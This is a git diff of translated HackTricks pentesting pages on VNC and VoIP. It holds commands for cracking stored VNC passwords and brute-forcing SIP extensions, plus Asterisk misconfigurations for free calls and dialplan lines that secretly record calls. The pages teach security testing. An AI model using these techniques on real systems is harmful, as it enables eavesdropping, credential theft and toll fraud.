Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Basic Information
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Virtual Network Computing (VNC)** is 'n robuuste grafiese lessenaar-deelstelsel wat die **Remote Frame Buffer (RFB)** protokol gebruik om afstandbeheer en samewerking met 'n ander rekenaar moontlik te maak. Met VNC kan gebruikers naatloos met 'n afstandrekenaar interaksie hê deur sleutelbord- en muisgebeurtenisse bidireksioneel oor te dra. Dit stel in staat tot regte tyd toegang en fasiliteer doeltreffende afstandshelp of samewerking oor 'n netwerk.
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
## Basiese Inligting
|
||||||
|
|
||||||
|
**Virtual Network Computing (VNC)** is 'n robuuste grafiese lessenaardeelstelsel wat die **Remote Frame Buffer (RFB)** protokol gebruik om afstandbeheer en samewerking met 'n ander rekenaar moontlik te maak. Met VNC kan gebruikers naatloos met 'n afstandrekenaar interaksie hê deur sleutelbord- en muisgebeurtenisse bidireksioneel oor te dra. Dit stel in staat tot regstreekse toegang en fasiliteer doeltreffende afstandshelp of samewerking oor 'n netwerk.
|
||||||
|
|
||||||
VNC gebruik gewoonlik poorte **5800 of 5801 of 5900 of 5901.**
|
VNC gebruik gewoonlik poorte **5800 of 5801 of 5900 of 5901.**
|
||||||
```
|
```
|
||||||
|
@ -39,13 +45,13 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
||||||
|
|
||||||
Standaard **wagwoord is gestoor** in: \~/.vnc/passwd
|
Standaard **wagwoord is gestoor** in: \~/.vnc/passwd
|
||||||
|
|
||||||
As jy die VNC-wagwoord het en dit lyk versleuteld (‘n paar bytes, soos as dit 'n versleutelde wagwoord kan wees), is dit waarskynlik met 3des versleuteld. Jy kan die duidelike teks wagwoord kry met [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
As jy die VNC-wagwoord het en dit lyk versleuteld ('n paar bytes, soos as dit 'n versleutelde wagwoord kon wees), is dit waarskynlik met 3des versleuteld. Jy kan die duidelike teks wagwoord kry met [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||||
```bash
|
```bash
|
||||||
make
|
make
|
||||||
vncpwd <vnc password file>
|
vncpwd <vnc password file>
|
||||||
```
|
```
|
||||||
You kan dit doen omdat die wagwoord wat binne 3des gebruik word om die plain-text VNC wagwoorde te enkripteer, jare gelede omgedraai is.\
|
You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
|
||||||
Vir **Windows** kan jy ook hierdie hulpmiddel gebruik: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
For **Windows** you can also use this tool: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||||
Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||||
|
@ -54,17 +60,23 @@ Ek stoor die hulpmiddel hier ook vir maklike toegang:
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -15,6 +15,14 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## VoIP Basiese Inligting
|
## VoIP Basiese Inligting
|
||||||
|
|
||||||
Om te begin leer oor hoe VoIP werk, kyk:
|
Om te begin leer oor hoe VoIP werk, kyk:
|
||||||
|
@ -154,7 +162,7 @@ Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur
|
||||||
|
|
||||||
Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel.
|
Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel.
|
||||||
|
|
||||||
Dinge soos outomatiese musiekresponsies dui gewoonlik aan dat VoIP gebruik word.
|
Dinge soos outomatiese musiekantwoorde dui gewoonlik aan dat VoIP gebruik word.
|
||||||
|
|
||||||
### Google Dorks
|
### Google Dorks
|
||||||
```bash
|
```bash
|
||||||
|
@ -257,7 +265,7 @@ Extensions in a PBX (Private Branch Exchange) system verwys na die **unieke inte
|
||||||
```bash
|
```bash
|
||||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||||
```
|
```
|
||||||
* **`SIPPTS exten`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerke en poortreekse nagaan.
|
* **`SIPPTS exten`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreekse nagaan.
|
||||||
```bash
|
```bash
|
||||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||||
```
|
```
|
||||||
|
@ -266,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||||
```
|
```
|
||||||
* **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange-protokol **gebruikersnaam brute-force enumerator**. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval.
|
* **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange protokol **gebruikersnaam brute-force enumerator**. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval.
|
||||||
```bash
|
```bash
|
||||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||||
enumiax -v -m3 -M3 10.10.0.10
|
enumiax -v -m3 -M3 10.10.0.10
|
||||||
|
@ -298,14 +306,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||||
|
|
||||||
### VoIP Sniffing
|
### VoIP Sniffing
|
||||||
|
|
||||||
As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi) kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
|
As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi), kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
|
||||||
|
|
||||||
Tussen die netwerk-inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
|
Tussen die netwerk-inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
|
||||||
|
|
||||||
Om hierdie inligting te verkry kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
Om hierdie inligting te verkry, kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Let daarop dat as **TLS in die SIP kommunikasie gebruik word** jy nie die SIP kommunikasie in duidelike teks sal kan sien.\
|
Let daarop dat as **TLS in die SIP kommunikasie gebruik word**, jy nie die SIP kommunikasie in duidelike teks sal kan sien.\
|
||||||
Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**.
|
Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -337,14 +345,14 @@ Dit is moontlik om hierdie kodes in **INFO SIP boodskappe**, in **klank** of bin
|
||||||
```bash
|
```bash
|
||||||
multimon -a DTMF -t wac pin.wav
|
multimon -a DTMF -t wac pin.wav
|
||||||
```
|
```
|
||||||
### Gratis oproepe / Asterisks Verbinding Misconfigurasies
|
### Gratis oproepe / Asterisks verbindings misconfigurasies
|
||||||
|
|
||||||
In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of van **enige IP-adres** toe te laat:
|
In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of van **enige IP-adres** toe te laat:
|
||||||
```
|
```
|
||||||
host=10.10.10.10
|
host=10.10.10.10
|
||||||
host=dynamic
|
host=dynamic
|
||||||
```
|
```
|
||||||
As 'n IP-adres gespesifiseer word, sal die host **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
|
As 'n IP-adres gespesifiseer word, sal die host **nie REGISTER** versoeke elke paar minute hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
|
||||||
|
|
||||||
Om gebruikers te definieer, kan hulle as volg gedefinieer word:
|
Om gebruikers te definieer, kan hulle as volg gedefinieer word:
|
||||||
|
|
||||||
|
@ -359,7 +367,7 @@ Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
|
||||||
* **`insecure=port,invite`**: Albei
|
* **`insecure=port,invite`**: Albei
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enige iemand in staat wees om daartoe te verbind**.
|
Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enigiemand in staat wees om daartoe te verbind**.
|
||||||
|
|
||||||
Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\
|
Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\
|
||||||
`host=10.10.10.10`\
|
`host=10.10.10.10`\
|
||||||
|
@ -369,13 +377,13 @@ Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\
|
||||||
|
|
||||||
### Gratis Oproepe / Asterisks Konteks Misconfigurasies
|
### Gratis Oproepe / Asterisks Konteks Misconfigurasies
|
||||||
|
|
||||||
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.
|
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en om skeiding tussen verskillende dele van die stelsel te bied.
|
||||||
|
|
||||||
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkantige hakies, met die konteksnaam binne-in. Byvoorbeeld:
|
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld:
|
||||||
```bash
|
```bash
|
||||||
csharpCopy code[my_context]
|
csharpCopy code[my_context]
|
||||||
```
|
```
|
||||||
Binnen die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
|
Binne die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:
|
||||||
```scss
|
```scss
|
||||||
[my_context]
|
[my_context]
|
||||||
exten => 100,1,Answer()
|
exten => 100,1,Answer()
|
||||||
|
@ -396,7 +404,7 @@ include => my_context
|
||||||
include => external
|
include => external
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Enige iemand sal in staat wees om die **bediener te gebruik om na enige ander nommer te bel** (en die admin van die bediener sal vir die oproep betaal).
|
Enigeen sal in staat wees om die **bediener te gebruik om na enige ander nommer te bel** (en die admin van die bediener sal vir die oproep betaal).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -419,15 +427,15 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
||||||
|
|
||||||
### Gratis oproepe / Foutief geconfigureerde IVRS
|
### Gratis oproepe / Foutief geconfigureerde IVRS
|
||||||
|
|
||||||
IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers toelaat om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingangs. IVRS word gebruik om **geoutomatiseerde oproep hantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang.
|
IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers toelaat om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingang. IVRS word gebruik om **geoutomatiseerde oproep hantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang.
|
||||||
|
|
||||||
IVRS in VoIP stelsels bestaan tipies uit:
|
IVRS in VoIP stelsels bestaan tipies uit:
|
||||||
|
|
||||||
1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
|
1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
|
||||||
2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingangs wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
|
2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
|
||||||
3. **Oproep roetering**: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
|
3. **Oproep roetering**: Die rigting van oproepe na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
|
||||||
4. **Gebruikersinvoer vang**: Inligting van belers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data.
|
4. **Vang van gebruikersinvoer**: Die insameling van inligting van bellers, soos rekeningnommers, saak-ID's, of enige ander relevante data.
|
||||||
5. **Integrasie met eksterne stelsels**: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
|
5. **Integrasie met eksterne stelsels**: Die verbinding van die IVR-stelsel met databasisse of ander sagteware stelsels om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
|
||||||
|
|
||||||
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
|
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
|
||||||
|
|
||||||
|
@ -448,7 +456,7 @@ Gebruik 'n uitbreiding soos:
|
||||||
```scss
|
```scss
|
||||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||||
```
|
```
|
||||||
Waar **`${EXTEN}`** die **verlenging** is wat gebel sal word, wanneer die **ext 101 bekendgestel word** sal dit gebeur:
|
Waar **`${EXTEN}`** die **uitbreiding** is wat gebel sal word, wanneer die **ext 101 bekendgestel word** sal dit gebeur:
|
||||||
```scss
|
```scss
|
||||||
exten => 101,1,Dial(SIP/101)
|
exten => 101,1,Dial(SIP/101)
|
||||||
```
|
```
|
||||||
|
@ -462,11 +470,11 @@ Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur wor
|
||||||
|
|
||||||
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
|
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
|
||||||
|
|
||||||
**[Kwetsbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
**[Kwesbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||||
|
|
||||||
1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar
|
1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar
|
||||||
2. Die aanvaller stuur 'n INVITE na die IP Telefoon
|
2. Die aanvaller stuur 'n INVITE na die IP Telefoon
|
||||||
3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie)
|
3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant beantwoord nie)
|
||||||
4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller**
|
4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller**
|
||||||
5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik
|
5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik
|
||||||
6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE
|
6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE
|
||||||
|
@ -495,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
||||||
```
|
```
|
||||||
### Click2Call
|
### Click2Call
|
||||||
|
|
||||||
Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem** sal die gebruiker **gebel en met die agent verbind** word.
|
Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem** sal die gebruiker **gebel en met die agent verbind word**.
|
||||||
|
|
||||||
'n Algemene Asterisk-profiel hiervoor is:
|
'n Algemene Asterisk-profiel hiervoor is:
|
||||||
```scss
|
```scss
|
||||||
|
@ -508,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||||
write = system,call,agent,user,config,command,reporting,originate
|
write = system,call,agent,user,config,command,reporting,originate
|
||||||
```
|
```
|
||||||
* Die vorige profiel laat **ENIGE IP adres toe om te verbind** (as die wagwoord bekend is).
|
* Die vorige profiel laat **ENIGE IP adres toe om te verbind** (as die wagwoord bekend is).
|
||||||
* Om **'n oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig.
|
* Om 'n **oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig.
|
||||||
|
|
||||||
Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos:
|
Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos:
|
||||||
|
|
||||||
|
@ -539,7 +547,7 @@ exten => _X.,2,MixMonitor(${NAME})
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Telefons is in **`/tmp`** gestoor.
|
Telefonskakels sal gestoor word in **`/tmp`**.
|
||||||
|
|
||||||
Jy kan ook Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word.
|
Jy kan ook Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word.
|
||||||
```scss
|
```scss
|
||||||
|
